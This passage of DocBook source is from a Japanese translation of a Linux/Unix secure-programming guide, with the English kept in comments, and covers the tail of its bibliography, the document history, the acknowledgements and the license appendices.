<ulink url="http://www.cl.cam.ac.uk/~mgk25/ieee02-optical.pdf">
http://www.cl.cam.ac.uk/~mgk25/ieee02-optical.pdf</ulink>
</para>

<para>
[LSD 2001]
The Last Stage of Delirium.
July 4, 2001.
<emphasis remap="it">UNIX Assembly Codes Development
for Vulnerabilities Illustration Purposes.</emphasis>
<ulink url="http://lsd-pl.net/papers.html#assembly">http://lsd-pl.net/papers.html#assembly</ulink>.
</para>

<para>
[McClure 1999]
McClure, Stuart, Joel Scambray, and George Kurtz.
1999.
<emphasis remap="it">Hacking Exposed: Network Security Secrets and Solutions</emphasis>.
Berkeley, CA: Osbourne/McGraw-Hill.
ISBN 0-07-212127-0.
</para>

<para>
[McKusick 1999]
McKusick, Marshall Kirk.
January 1999.
``Twenty Years of Berkeley Unix: From AT&amp;T-Owned to
Freely Redistributable.''
<emphasis remap="it">Open Sources: Voices from the Open Source Revolution</emphasis>.
<ulink
url="http://www.oreilly.com/catalog/opensources/book/kirkmck.html">http://www.oreilly.com/catalog/opensources/book/kirkmck.html</ulink>.
</para>

<para>
[McGraw 1999]
McGraw, Gary, and Edward W. Felten.
December 1998.
Twelve Rules for developing more secure Java code.
Javaworld.
<ulink url="http://www.javaworld.com/javaworld/jw-12-1998/jw-12-securityrules.html">http://www.javaworld.com/javaworld/jw-12-1998/jw-12-securityrules.html</ulink>.
</para>

<para>
[McGraw 1999]
McGraw, Gary, and Edward W. Felten.
January 25, 1999.
Securing Java: Getting Down to Business with Mobile Code, 2nd Edition 
John Wiley &amp; Sons.
ISBN 047131952X.
<ulink url="http://www.securingjava.com">http://www.securingjava.com</ulink>.
</para>

<para>
[McGraw 2000a]
McGraw, Gary and John Viega.
March 1, 2000.
Make Your Software Behave: Learning the Basics of Buffer Overflows.
<ulink
url="http://www-4.ibm.com/software/developer/library/overflows/index.html">http://www-4.ibm.com/software/developer/library/overflows/index.html</ulink>.
</para>

<para>
[McGraw 2000b]
McGraw, Gary and John Viega.
April 18, 2000.
Make Your Software Behave: Software strategies
In the absence of hardware,
you can devise a reasonably secure random number generator through software.
<ulink url="http://www-106.ibm.com/developerworks/library/randomsoft/index.html?dwzone=security">http://www-106.ibm.com/developerworks/library/randomsoft/index.html?dwzone=security</ulink>.
</para>

<para>
[Miller 1995]
Miller, Barton P.,
David Koski, Cjin Pheow Lee, Vivekananda Maganty,
Ravi Murthy, Ajitkumar Natarajan, and Jeff Steidl.
1995.
Fuzz Revisited: A Re-examination of the Reliability of
UNIX Utilities and Services.
<ulink url="ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.pdf">ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.pdf</ulink>.
</para>

<para>
[Miller 1999]
Miller, Todd C. and Theo de Raadt.
``strlcpy and strlcat -- Consistent, Safe, String Copy and Concatenation''
<emphasis remap="it">Proceedings of Usenix '99</emphasis>.
<ulink
url="http://www.usenix.org/events/usenix99/millert.html">http://www.usenix.org/events/usenix99/millert.html</ulink> and
<ulink
url="http://www.usenix.org/events/usenix99/full_papers/millert/PACKING_LIST">http://www.usenix.org/events/usenix99/full_papers/millert/PACKING_LIST</ulink>
</para>

<para>
[Mudge 1995]
Mudge.
October 20, 1995.
<emphasis remap="it">How to write Buffer Overflows</emphasis>.
l0pht advisories.
<ulink
url="http://www.l0pht.com/advisories/bufero.html">http://www.l0pht.com/advisories/bufero.html</ulink>.
</para>

<para>
[Murhammer 1998]
Murhammer, Martin W., Orcun Atakan, Stefan Bretz,
Larry R. Pugh, Kazunari Suzuki, and David H. Wood.
October 1998.
TCP/IP Tutorial and Technical Overview
IBM International Technical Support Organization.
<ulink url="http://www.redbooks.ibm.com/pubs/pdfs/redbooks/gg243376.pdf">http://www.redbooks.ibm.com/pubs/pdfs/redbooks/gg243376.pdf</ulink>
</para>

<para>
[NCSA]
NCSA Secure Programming Guidelines.
<ulink url="http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming">http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming</ulink>.
</para>

<para>
Neumann, Peter.
2000.
"Robust Nonproprietary Software."
Proceedings of the 2000 IEEE Symposium on Security and Privacy
(the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA.
Los Alamitos, CA: IEEE Computer Society.
pp.122-123.
</para>

<para>
National Security Agency (NSA).
<!-- Conceivably the author should be listed as the
     Information Assurance Technical Framework Forum (IATFF), but that's
     not what the document cover says. -->
September 2000.
Information Assurance Technical Framework (IATF).
<ulink url="http://www.iatf.net">http://www.iatf.net</ulink>.
</para>

<para>
[Open Group 1997]
The Open Group.
1997.
<emphasis remap="it">Single UNIX Specification, Version 2 (UNIX 98)</emphasis>.
<ulink
url="http://www.opengroup.org/online-pubs?DOC=007908799">http://www.opengroup.org/online-pubs?DOC=007908799</ulink>.
</para>

<para>
[OSI 1999].
Open Source Initiative.
1999.
<emphasis remap="it">The Open Source Definition</emphasis>.
<ulink
url="http://www.opensource.org/osd.html">http://www.opensource.org/osd.html</ulink>.
</para>

<para>
[Opplinger 1998]
Oppliger, Rolf.
1998.
Internet and Intranet Security.
Norwood, MA: Artech House.
ISBN 0-89006-829-1.
</para>

<para>
[Paulk 1993a]
Mark C. Paulk, Bill Curtis, Mary Beth Chrissis, and Charles V. Weber.
Capability Maturity Model for Software, Version 1.1.
Software Engineering Institute, CMU/SEI-93-TR-24.
DTIC Number ADA263403, February 1993. 
<ulink url="http://www.sei.cmu.edu/activities/cmm/obtain.cmm.html">http://www.sei.cmu.edu/activities/cmm/obtain.cmm.html</ulink>.
</para>


<para>
[Paulk 1993b]
Mark C. Paulk, Charles V. Weber, Suzanne M. Garcia, Mary Beth Chrissis, and Marilyn W.  Bush.
Key Practices of the Capability Maturity Model, Version 1.1.
Software Engineering Institute.
CMU/SEI-93-TR-25, DTIC Number ADA263432, February 1993. 
</para>

<para>
[Peteanu 2000]
Peteanu, Razvan.
July 18, 2000.
Best Practices for Secure Web Development.
<ulink url="http://members.home.net/razvan.peteanu">http://members.home.net/razvan.peteanu</ulink>
</para>

<para>
[Pfleeger 1997]
Pfleeger, Charles P.
1997.
<emphasis remap="it">Security in Computing.</emphasis>
Upper Saddle River, NJ: Prentice-Hall PTR.
ISBN 0-13-337486-6.
</para>

<para>
[Phillips 1995]
Phillips, Paul.
September 3, 1995.
<emphasis remap="it">Safe CGI Programming</emphasis>.
<ulink
url="http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt">http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt</ulink>
</para>

<para>
[Quintero 1999]
Quintero, Federico Mena,
Miguel de Icaza, and Morten Welinder
GNOME Programming Guidelines
<ulink url="http://developer.gnome.org/doc/guides/programming-guidelines/book1.html">http://developer.gnome.org/doc/guides/programming-guidelines/book1.html</ulink>
<!-- http://developer.gnome.org/doc/guides/programming-guidelines/security.html -->
</para>

<para>
[Raymond 1997]
Raymond, Eric.
1997.
<emphasis remap="it">The Cathedral and the Bazaar</emphasis>.
<ulink
url="http://www.tuxedo.org/~esr/writings/cathedral-bazaar">http://www.tuxedo.org/~esr/writings/cathedral-bazaar</ulink>
</para>

<para>
[Raymond 1998]
Raymond, Eric.
April 1998.
<emphasis remap="it">Homesteading the Noosphere</emphasis>.
<ulink
url="http://www.tuxedo.org/~esr/writings/homesteading/homesteading.html">http://www.tuxedo.org/~esr/writings/homesteading/homesteading.html</ulink>
</para>

<para>
[Ranum 1998]
Ranum, Marcus J.
1998.
<emphasis remap="it">Security-critical coding for programmers -
a C and UNIX-centric full-day tutorial</emphasis>.
<ulink
url="http://www.clark.net/pub/mjr/pubs/pdf/">http://www.clark.net/pub/mjr/pubs/pdf/</ulink>.
</para>

<para>
[RFC 822]
August 13, 1982
<emphasis remap="it">Standard for the Format of ARPA Internet Text Messages</emphasis>.
IETF RFC 822.
<ulink
url="http://www.ietf.org/rfc/rfc0822.txt">http://www.ietf.org/rfc/rfc0822.txt</ulink>.
</para>

<para>
[rfp 1999]
rain.forest.puppy.
1999.
``Perl CGI problems''.
<emphasis remap="it">Phrack Magazine</emphasis>.
Issue 55, Article 07.
<ulink
url="http://www.phrack.com/search.phtml?view&amp;article=p55-7">http://www.phrack.com/search.phtml?view&amp;article=p55-7</ulink> or
<ulink url="http://www.insecure.org/news/P55-07.txt">http://www.insecure.org/news/P55-07.txt</ulink>.
</para>

<para>
[Rijmen 2000]
Rijmen, Vincent.
"LinuxSecurity.com Speaks With AES Winner".
<ulink url="http://www.linuxsecurity.com/feature_stories/interview-aes-3.html">http://www.linuxsecurity.com/feature_stories/interview-aes-3.html</ulink>.
</para>

<para>
[Rochkind 1985].
Rochkind, Marc J.
<emphasis>Advanced Unix Programming</emphasis>.
Englewood Cliffs, NJ: Prentice-Hall, Inc.
ISBN 0-13-011818-4.
</para>

<para>
[St. Laurent 2000]
St. Laurent, Simon.
February 2000.
<emphasis remap="it">XTech 2000 Conference Reports</emphasis>.
``When XML Gets Ugly''.
<ulink
url="http://www.xml.com/pub/2000/02/xtech/megginson.html">http://www.xml.com/pub/2000/02/xtech/megginson.html</ulink>.
</para>

<para>
[Saltzer 1974]
Saltzer, J.
July 1974.
``Protection and the Control of Information Sharing in MULTICS''.
<emphasis remap="it">Communications of the ACM</emphasis>.
v17 n7.
pp. 388-402.
</para>

<para>
[Saltzer 1975]
Saltzer, J., and M. Schroeder.
September 1975.
``The Protection of Information in Computing Systems''.
<emphasis remap="it">Proceedings of the IEEE</emphasis>.
v63 n9.
pp. 1278-1308.
<ulink
url="http://www.mediacity.com/~norm/CapTheory/ProtInf">http://www.mediacity.com/~norm/CapTheory/ProtInf</ulink>.
Summarized in [Pfleeger 1997, 286].
</para>

<para>
Schneider, Fred B.
2000.
"Open Source in Security: Visting the Bizarre."
Proceedings of the 2000 IEEE Symposium on Security and Privacy
(the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA.
Los Alamitos, CA: IEEE Computer Society.
pp.126-127.
</para>

<para>
[Schneier 1996]
Schneier, Bruce.
1996.
<emphasis remap="it">Applied Cryptography, Second Edition:
Protocols, Algorithms, and Source Code in C</emphasis>.
New York: John Wiley and Sons.
ISBN 0-471-12845-7.
</para>

<para>
[Schneier 1998]
Schneier, Bruce and Mudge.
November 1998.
<emphasis remap="it">Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP)</emphasis>
Proceedings of the 5th ACM Conference on Communications and Computer Security,
ACM Press.
<ulink
url="http://www.counterpane.com/pptp.html">http://www.counterpane.com/pptp.html</ulink>.
</para>

<para>
[Schneier 1999]
Schneier, Bruce.
September 15, 1999.
``Open Source and Security''.
<emphasis remap="it">Crypto-Gram</emphasis>.
Counterpane Internet Security, Inc.
<ulink
url="http://www.counterpane.com/crypto-gram-9909.html">http://www.counterpane.com/crypto-gram-9909.html</ulink>
</para>

<para>
[Seifried 1999]
Seifried, Kurt.
October 9, 1999.
<emphasis remap="it">Linux Administrator's Security Guide</emphasis>.
<ulink
url="http://www.securityportal.com/lasg">http://www.securityportal.com/lasg</ulink>.
</para>

<para>
[Seifried 2001]
Seifried, Kurt.
September 2, 2001.
WWW Authentication
<ulink url="http://www.seifried.org/security/www-auth/index.html">
http://www.seifried.org/security/www-auth/index.html</ulink>.
</para>


<para>
[Shankland 2000]
Shankland, Stephen.
``Linux poses increasing threat to Windows 2000''.
CNET.
<ulink
url="http://news.cnet.com/news/0-1003-200-1549312.html">http://news.cnet.com/news/0-1003-200-1549312.html</ulink>
</para>

<para>
[Shostack 1999]
Shostack, Adam.
June 1, 1999.
<emphasis remap="it">Security Code Review Guidelines</emphasis>.
<ulink
url="http://www.homeport.org/~adam/review.html">http://www.homeport.org/~adam/review.html</ulink>.
</para>

<para>
[Sibert 1996]
Sibert, W. Olin.
Malicious Data and Computer Security.
(NIST) NISSC '96.

<ulink url="http://www.fish.com/security/maldata.html">http://www.fish.com/security/maldata.html</ulink>

</para>

<para>
[Sitaker 1999]
Sitaker, Kragen.
Feb 26, 1999.
<emphasis remap="it">How to Find Security Holes</emphasis>
<ulink
url="http://www.pobox.com/~kragen/security-holes.html">http://www.pobox.com/~kragen/security-holes.html</ulink> and
<ulink
url="http://www.dnaco.net/~kragen/security-holes.html">http://www.dnaco.net/~kragen/security-holes.html</ulink>
</para>

<para>
[SSE-CMM 1999]
SSE-CMM Project.
April 1999.
<emphasis remap="it">Systems Security Engineering Capability Maturity Model (SSE CMM)
Model Description Document</emphasis>.
Version 2.0.
<ulink
url="http://www.sse-cmm.org">http://www.sse-cmm.org</ulink>
</para>

<para>
[Stallings 1996]
Stallings, William.
Practical Cryptography for Data Internetworks.
Los Alamitos, CA: IEEE Computer Society Press.
ISBN 0-8186-7140-8.
</para>

<para>
[Stein 1999].
Stein, Lincoln D.
September 13, 1999.
<emphasis remap="it">The World Wide Web Security FAQ</emphasis>.
Version 2.0.1
<ulink
url="http://www.w3.org/Security/Faq/www-security-faq.html">http://www.w3.org/Security/Faq/www-security-faq.html</ulink>
</para>

<para>
[Swan 2001]
Swan, Daniel.
January 6, 2001. 
comp.os.linux.security FAQ.
Version 1.0.
<ulink url="http://www.linuxsecurity.com/docs/colsfaq.html">http://www.linuxsecurity.com/docs/colsfaq.html</ulink>.
</para>

<para>
[Swanson 1996]
Swanson, Marianne, and Barbara Guttman.
September 1996.
Generally Accepted Principles and Practices for Securing
Information Technology Systems.
NIST Computer Security Special Publication (SP) 800-14.
<ulink url="http://csrc.nist.gov/publications/nistpubs/index.html">http://csrc.nist.gov/publications/nistpubs/index.html</ulink>.
</para>

<para>
[Thompson 1974]
Thompson, K. and D.M. Richie.
July 1974.
``The UNIX Time-Sharing System''.
<emphasis remap="it">Communications of the ACM</emphasis>
Vol. 17, No. 7.
pp. 365-375.
<!-- Revised and reprinted in Ritchie 1978a; see Bach 1986 -->
</para>

<para>
[Torvalds 1999]
Torvalds, Linus.
February 1999.
``The Story of the Linux Kernel''.
<emphasis remap="it">Open Sources: Voices from the Open Source Revolution</emphasis>.
Edited by Chris Dibona, Mark Stone, and Sam Ockman.
O'Reilly and Associates.
ISBN 1565925823.
<ulink
url="http://www.oreilly.com/catalog/opensources/book/linus.html">http://www.oreilly.com/catalog/opensources/book/linus.html</ulink>
</para>

<para>
[TruSecure 2001]
TruSecure.
August 2001.
Open Source Security: A Look at the Security Benefits of Source Code Access.
<ulink url="http://www.trusecure.com/html/tspub/whitepapers/open_source_security5.pdf">http://www.trusecure.com/html/tspub/whitepapers/open_source_security5.pdf</ulink>
</para>

<para>
[Unknown]
<emphasis remap="it">SETUID(7)</emphasis>
<ulink
url="http://www.homeport.org/~adam/setuid.7.html">http://www.homeport.org/~adam/setuid.7.html</ulink>.
<!-- Claimed to be from Dan Farmer's COPS, but COPS does not include it. -->
</para>

<para>
[Van Biesbrouck 1996]
Van Biesbrouck, Michael.
April 19, 1996.
<ulink url="http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec">http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec</ulink>.
</para>

<para>
[van Oorschot 1994]
van Oorschot, P. and M. Wiener.
November 1994.
``Parallel Collision Search with Applications to Hash Functions
and Discrete Logarithms.''
Proceedings of ACM Conference on Computer and Communications Security.
</para>

<para>
[Venema 1996]
Venema, Wietse.
1996.
Murphy's law and computer security.
<ulink url="http://www.fish.com/security/murphy.html">http://www.fish.com/security/murphy.html</ulink>
</para>

<para>
[Watters 1996]
Watters, Arron, Guido van Rossum, James C. Ahlstrom.
1996.
Internet Programming with Python.
NY, NY: Henry Hold and Company, Inc.
</para>

<para>
[Witten 2001]
September/October 2001.
Witten, Brian, Carl Landwehr, and Michael Caloyannides.
``Does Open Source Improve System Security?''
IEEE Software.
pp. 57-61.
<ulink url="http://www.computer.org/software">http://www.computer.org/software</ulink>

</para>

<para>
[Wood 1985]
Wood, Patrick H. and Stephen G. Kochan.
1985.
<emphasis remap="it">Unix System Security</emphasis>.
Indianapolis, Indiana: Hayden Books.
ISBN 0-8104-6267-2.
</para>

<para>
[Wreski 1998]
Wreski, Dave.
August 22, 1998.
<emphasis remap="it">Linux Security Administrator's Guide</emphasis>.
Version 0.98.
<ulink
url="http://www.nic.com/~dave/SecurityAdminGuide/index.html">http://www.nic.com/~dave/SecurityAdminGuide/index.html</ulink>
</para>

<para>
[Yoder 1998]
Yoder, Joseph and Jeffrey Barcalow.
1998.
Architectural Patterns for Enabling Application Security.
PLoP '97
<ulink url="http://st-www.cs.uiuc.edu/~hanmer/PLoP-97/Proceedings/yoder.pdf">
http://st-www.cs.uiuc.edu/~hanmer/PLoP-97/Proceedings/yoder.pdf</ulink>
</para>

<para>
[Zalewski 2001]
Zalewski, Michael.
May 16-17, 2001.
Delivering Signals for Fun and Profit:
Understanding, exploiting and preventing signal-handling related
vulnerabilities.
Bindview Corporation.
<ulink url="http://razor.bindview.com/publish/papers/signals.txt">http://razor.bindview.com/publish/papers/signals.txt</ulink>
</para>

<para>
[Zoebelein 1999]
Zoebelein, Hans U.
April 1999.
The Internet Operating System Counter.
<ulink url="http://www.leb.net/hzo/ioscount">http://www.leb.net/hzo/ioscount</ulink>.
</para>

<para>
【訳註
<ulink url="http://www.ipa.go.jp/security/awareness/vendor/programming/index.html">IPA のセキュア・プログラミング講座</ulink>
も役に立ちます】
</para>

</chapter>

<appendix id="document-history">
<!-- <title>History</title> -->
<title>履歴</title>
<para>
<!--
Here are a few key events in the development of this book, starting
from most recent events:
-->
このドキュメントを書くに当たって、いくつか主な出来事を最近のもの
から記載しました。

<variablelist>
<varlistentry><term>
2001-01-01 David A. Wheeler
</term>
<listitem>
<para>
<!--
Version 2.70 released, adding a significant amount of additional material,
such as a significant expansion of the discussion of cross-site
malicious content, HTML/URI filtering, and handling temporary files.
-->
バージョン 2.70。重要な題材をたくさん追加しました。たとえば、サイトに
またがった悪意あるコンテンツや HTML や URI のフィルタリング、テンポラリ
ファイルの扱い等を大幅に議論を展開させました。
</para>
</listitem>
</varlistentry>

<varlistentry><term>
2000-05-24 David A. Wheeler
</term>
<listitem>
<para>
<!-- Switched to GNU's GFDL license, added more content. -->
ライセンスを GNU の GFDL に変更しました。内容を増やしました。
</para>
</listitem>
</varlistentry>

<varlistentry><term>
2000-04-21 David A. Wheeler
</term>
<listitem>
<para>
<!--
Version 2.00 released, dated 21 April 2000, which switching the
document's internal format from the Linuxdoc DTD to the DocBook DTD.
Thanks to Jorge Godoy for helping me perform the transition.
-->
バージョン 2.00。2000 年 4 月 21 日にドキュメントの記述形式を Linuxdoc DTD 
から the DocBook DTD に変更しました。
変更に当たって援助してくれた Jorge Godoy 氏に感謝します。
</para>
</listitem>
</varlistentry>


<varlistentry><term>
2000-04-04 David A. Wheeler
</term>
<listitem>
<para>
<!--
Version 1.60 released;
changed so that it now covers <emphasis>both</emphasis> Linux and Unix.
Since most of the guidelines covered both, and many/most app developers want
their apps to run on both, it made sense to cover both.
-->
バージョン 1.60。
Linux と Unix の<emphasis>両方</emphasis>をカバーするように変更。
ガイドラインの大部分は両者をカバーしています。開発者はアプリケーション
を両者で動かすことを望んでいる場合が多く、両方をカバーするのは正しいことです。
</para>
</listitem>
</varlistentry>

<varlistentry><term>
2000-02-09 David A. Wheeler
</term>
<listitem>
<para>
<!--
Noted that the document is now part of the Linux Documentation Project (LDP).
-->
ドキュメントが Linux Documentation Project (LDP)に入りました。
</para>
</listitem>
</varlistentry>

<varlistentry><term>
1999-11-29 David A. Wheeler
</term>
<listitem>
<para>
<!-- Initial version (1.0) completed and released to the public. -->
初期バージョン完成。公開リリース。
</para>
</listitem>
</varlistentry>

</variablelist>
</para>

<para>
<!--
Note that a more detailed description of changes is available on-line
in the ``ChangeLog'' file.
-->
変更点の詳細はオンラインで「ChangeLog」ファイルが利用できます。
</para>
</appendix>

<appendix id="acknowledgements">
<!-- <title>Acknowledgements</title> -->
<title>おことわり</title>

<epigraph>
<!-- <attribution>Proverbs 27:17 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 27 章 17節(NIV)</attribution>
<para>
<!-- As iron sharpens iron, so one man sharpens another. -->
鉄は鉄をもって研磨する。
人はその友によって研磨される。
</para>
</epigraph>

<para>
<!--
My thanks to the following people who kept me honest by sending me emails
noting errors, suggesting areas to cover, asking questions, and so on.
Where email addresses are included, they've been
shrouded by prepending my ``thanks.'' so bulk emailers
won't easily get these addresses; inclusion of people in this list is
<emphasis>not</emphasis> an authorization to send
unsolicited bulk email to them.
-->
電子メールで間違いを指摘してくれたり、カバーする範囲にアドバイスをしてくれ
たり、質問をくれたりして、私をはげましてくれた下記の皆さんに感謝しています。
電子メールのアドレスには「thanks」を前につけてあります。そうすれば、多量
にメールを発進するメーラーが簡単にはアドレスを取得できないからです。
多量の迷惑メールをこのリストに含まれる方々に送りつける権限は、誰にも
<emphasis>ありません</emphasis>。
<itemizedlist>
<listitem><para>
Neil Brown (thanks.neilb@cse.unsw.edu.au)
</para></listitem>

<listitem><para>
Martin Douda (thanks.mad@students.zcu.cz)
</para></listitem>

<listitem><para>
Jorge Godoy
</para></listitem>

<listitem><para>
Scott Ingram (thanks.scott@silver.jhuapl.edu)
</para></listitem>

<listitem><para>
Michael Kerrisk
</para></listitem>

<listitem><para>
Doug Kilpatrick
</para></listitem>

<listitem><para>
John Levon (moz@compsoc.man.ac.uk)
</para></listitem>

<listitem><para>
Ryan McCabe (thanks.odin@numb.org)
</para></listitem>

<listitem><para>
Paul Millar (thanks.paulm@astro.gla.ac.uk)
</para></listitem>

<listitem><para>
Chuck Phillips (thanks.cdp@peakpeak.com)
</para></listitem>

<listitem><para>
Martin Pool (thanks.mbp@humbug.org.au)
</para></listitem>

<listitem><para>
Eric S. Raymond (thanks.esr@snark.thyrsus.com)
</para></listitem>

<listitem><para>
Marc Welz
</para></listitem>

<listitem><para>
Eric Werme (thanks.werme@alpha.zk3.dec.com)
</para></listitem>

</itemizedlist>

</para>

<para>
<!--
If you want to be on this list, please send me a constructive suggestion at
<ulink
url="mailto:dwheeler@dwheeler.com">dwheeler@dwheeler.com</ulink>.
If you send me a constructive suggestion, but do <emphasis remap="it">not</emphasis> want credit,
please let me know that when you send your suggestion, comment, or
criticism; normally I expect that people want credit, and I want to give
them that credit.
My current process is to add contributor names to this list in the document,
with more detailed explanation of their comment in the ChangeLog for
this document (available on-line).
Note that although these people have sent in ideas, the actual text is my own,
so don't blame them for any errors that may remain.
Instead, please send me another constructive suggestion.
-->
このリストに載せて欲しい方は、建設的な意見を
<ulink
url="mailto:dwheeler@dwheeler.com">dwheeler@dwheeler.com</ulink>
まで送ってください。
建設的な意見を送っても謝辞を載せて<emphasis remap="it">欲しくない
</emphasis>方は、意見やコメント、批判を寄せていただいた時にお知らせください。
普通、皆さんは賞賛されることを望んでいると思っていますので、感謝の気持ちを
表わしたいと思っています。
現状は、貢献者の方々の名前をドキュメントのこのリストに追加して、コメントの
さらに詳しい説明については、ChangeLog(オンラインで利用できます)に書いて置き
ます。
アイディアを送ってくれたのは彼らですが、実際テキストに起したのは私自身です。
何か間違いがあったとしても、彼らを責めないでください。
そうするかわりに、別に建設的な意見を私に贈っていただければ、と思います。
</para>

</appendix>

<appendix id="about-license">
<!-- <title>About the Documentation License</title> -->
<title>ドキュメントのライセンスについて</title>

<epigraph>
<!-- <attribution>Esther 3:14 (NIV)</attribution> -->
<attribution>旧約聖書 エステル記 3 章 14 節(NIV)</attribution>
<para>
<!--
A copy of the text of the edict was to be issued as law
in every province and made known to the people of every
nationality so they would be ready for that day.
-->
この勅書の写しは各州で国の定めとして全国民に公示され、人々はその日に備えた。
</para>
</epigraph>

<para>
<!--
This document is Copyright (C) 1999-2000 David A. Wheeler.
Permission is granted to copy, distribute and/or modify
this document under the terms of the GNU Free Documentation License (FDL),
Version 1.1 or any later version published by the Free Software Foundation;
with the invariant sections being ``About the Author'',
with no Front-Cover Texts, and no Back-Cover texts.
A copy of the license is included below in
<xref linkend="fdl">.
-->
このドキュメントは David A. Wheeler が著作権を保持しています
(Copyright (C) 1999-2000 David A. Wheeler)。
GNU General Public License (GPL) にもとづき、複製と再配布および修正を許可
しています。
バージョン 1.1 以上は、Free Software Foundation で出版してしています。
変更不可部分は「著者について」で、表紙と裏表紙のテキストはありません。
ライセンスのコピーは下記の <xref linkend="fdl"> にあります。
</para>

<para>
<!--
These terms do permit mirroring by other web sites,
but be <emphasis remap="it">sure</emphasis> to do the following:
-->
これらの条件では他の Web サイトがミラーしても良いことになっていますが、
下記の条件に<emphasis remap="it">必ず</emphasis>従ってください。
<itemizedlist>
<listitem>

<para>
<!--
make sure your mirrors automatically get upgrades from the master site,
-->
マスターのサイトから自動的にミラーが更新されること。
</para>
</listitem>
<listitem>
<para>
<!--
clearly show the location of the master site
(<ulink
url="http://www.dwheeler.com/secure-programs">http://www.dwheeler.com/secure-programs</ulink>), with a hypertext link
to the master site, and
-->
マスターのサイトの場所(<ulink
url="http://www.dwheeler.com/secure-programs">http://www.dwheeler.com/secure-programs</ulink>)
をハイパーテキストのリンク形式で明示すること。
</para>
</listitem>

<listitem>
<para>
<!--
give me (David A. Wheeler) credit as the author.
-->
私(David A. Wheeler)へ著者に対する感謝の意を表わすこと。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
The first two points primarily protect me from repeatedly hearing about
obsolete bugs.
I do not want to hear about bugs I fixed a year ago, just because you
are not properly mirroring the document.
By linking to the master site,
users can check and see if your mirror is up-to-date.
I'm sensitive to the problems of sites which have very
strong security requirements and therefore cannot risk normal
connections to the Internet; if that describes your situation,
at least try to meet the other points
and try to occasionally sneakernet updates into your environment.
-->
最初の 2 点は主に、繰り返し昔あった間違いを聞かれるのを防ぐためです。
1 年も前に修正した間違いについて聞かれるのは困り物です。ドキュメント正しく
ミラーしていないからといった理由で。
マスターのサイトにリンクを張れば、ユーザはミラーが最新かどうかを確認
できます。
私は強固なセキュリティを必要としているサイトの問題に過敏なので、インター
ネットに普通に接続する危険を犯せません。同じような状況ならば、他の妥協点
を見つけるようにしてください。そして時には媒体を運んで、環境を更新して
ください。
</para>

<para>
<!--
By this license, you may modify the document,
but you can't claim that what you didn't write is yours (i.e., plagiarism)
nor can you pretend that a modified version is identical to
the original work.
Modifying the work does not transfer copyright of the entire work to you;
this is not a ``public domain'' work in terms of copyright law.
See the license in <xref linkend="fdl"> for details.
If you have questions about what the license allows, please contact me.
In most cases, it's better if you send your changes to the master
integrator (currently David A. Wheeler), so that your changes will be
integrated with everyone else's changes into the master copy.
-->
このライセンスではドキュメントは修正可能です。しかし書いたものはあなたのもの
(つまり盗用)とは主張できません。修正したバージョンがオリジナルの作品と同じ
であると主張もできません。
作品を修正しても、作品すべての著作権は移動しません。
これは著作権関連の法律がいう「パブリック・ドメイン」な作品ではありません。
ライセンスについての詳細は <xref linkend="fdl"> を参照してください。
ライセンスが何を許しているか疑問があるなら、私に連絡してください。
あなたが行った変更をとりまとめの元締め(現在は David A. Wheeler 氏)に送れば、
たいていその変更は他の変更とともに原本に反映されます。
</para>

<para>
<!--
I am not a lawyer, nevertheless, it's my position as an author
and software developer that any code fragments
not explicitly marked otherwise are so small that their use fits under
the ``fair use'' doctrine in copyright law.
In other words, unless marked otherwise, you can use the code fragments
without any restriction at all.
Copyright law does not permit copyrighting absurdly small components
of a work
(e.g., ``I own all rights to B-flat and B-flat minor chords''), and
the fragments not marked otherwise are of the same kind of minuscule
size when compared to real programs.
I've done my best to give credit for specific pieces of code
written by others.
Some of you may still be concerned about the legal status of this code,
and I want make sure that it's clear
that you can use this code in your software.
Therefore, code fragments included directly in this document not otherwise
marked have also been released by me under the terms of the ``MIT license'',
to ensure you that there's no serious legal encumbrance:
-->
とは言ったものの、私は法律家ではありません。著作権の法律では、作品の構成
要素として問題にならない程小さいものに対しては、著作権を認めていない、
というのが私の著者としての立場です(たとえば、「私は B フラットと B 
フラット・マイナーのコードの権利をすべて持っている」)。本物のプログラムと
比較すると、取るに足らない言葉の断片は、わずかな大きさという意味では同じ
です。
私はこれまで、他の人が書いたコードには、それが小さくともを感謝を表すること
に努めてきました。
それでも皆さんの中には、このコードの法的な位置づけが気になるなる方も
いらっしゃると思います。そこで、皆さんがこのコードを皆さんのソフトウェア
で利用できることをはっきりさせたいと思います。
したがって、このドキュメントに直接書かれているコードの些細な断片は、
「MIT ライセンス」の元でリリースします。法的に恐れるほどの制約がないことを
保証します。
</para>

<programlisting width="66">
  Source code in this book not otherwise identified is
  Copyright (c) 1999-2001 David A. Wheeler.

  Permission is hereby granted, free of charge, to any person
  obtaining a copy of the source code in this book not
  otherwise identified (the "Software"), to deal in the
  Software without restriction, including without limitation
  the rights to use, copy, modify, merge, publish, distribute,
  sublicense, and/or sell copies of the Software, and to
  permit persons to whom the Software is furnished to do so,
  subject to the following conditions:

  The above copyright notice and this permission notice shall be
  included in all copies or substantial portions of the Software.

  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
  WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
  PURPOSE AND NONINFRINGEMENT.
  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
  LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
  ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
  OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
【訳註：各種オープンソース系のライセンスは、
<ulink url="http://www.opensource.org">http://www.opensource.org</ulink>
 が参考になります。<ulink url="http://www.opensource.jp">OSG-JP</ulink>
 もありますが、まだ MIT ライセンスは翻訳されていません】
</programlisting>
</appendix>

<!-- Previously it had label="A" -->
<appendix id="fdl">
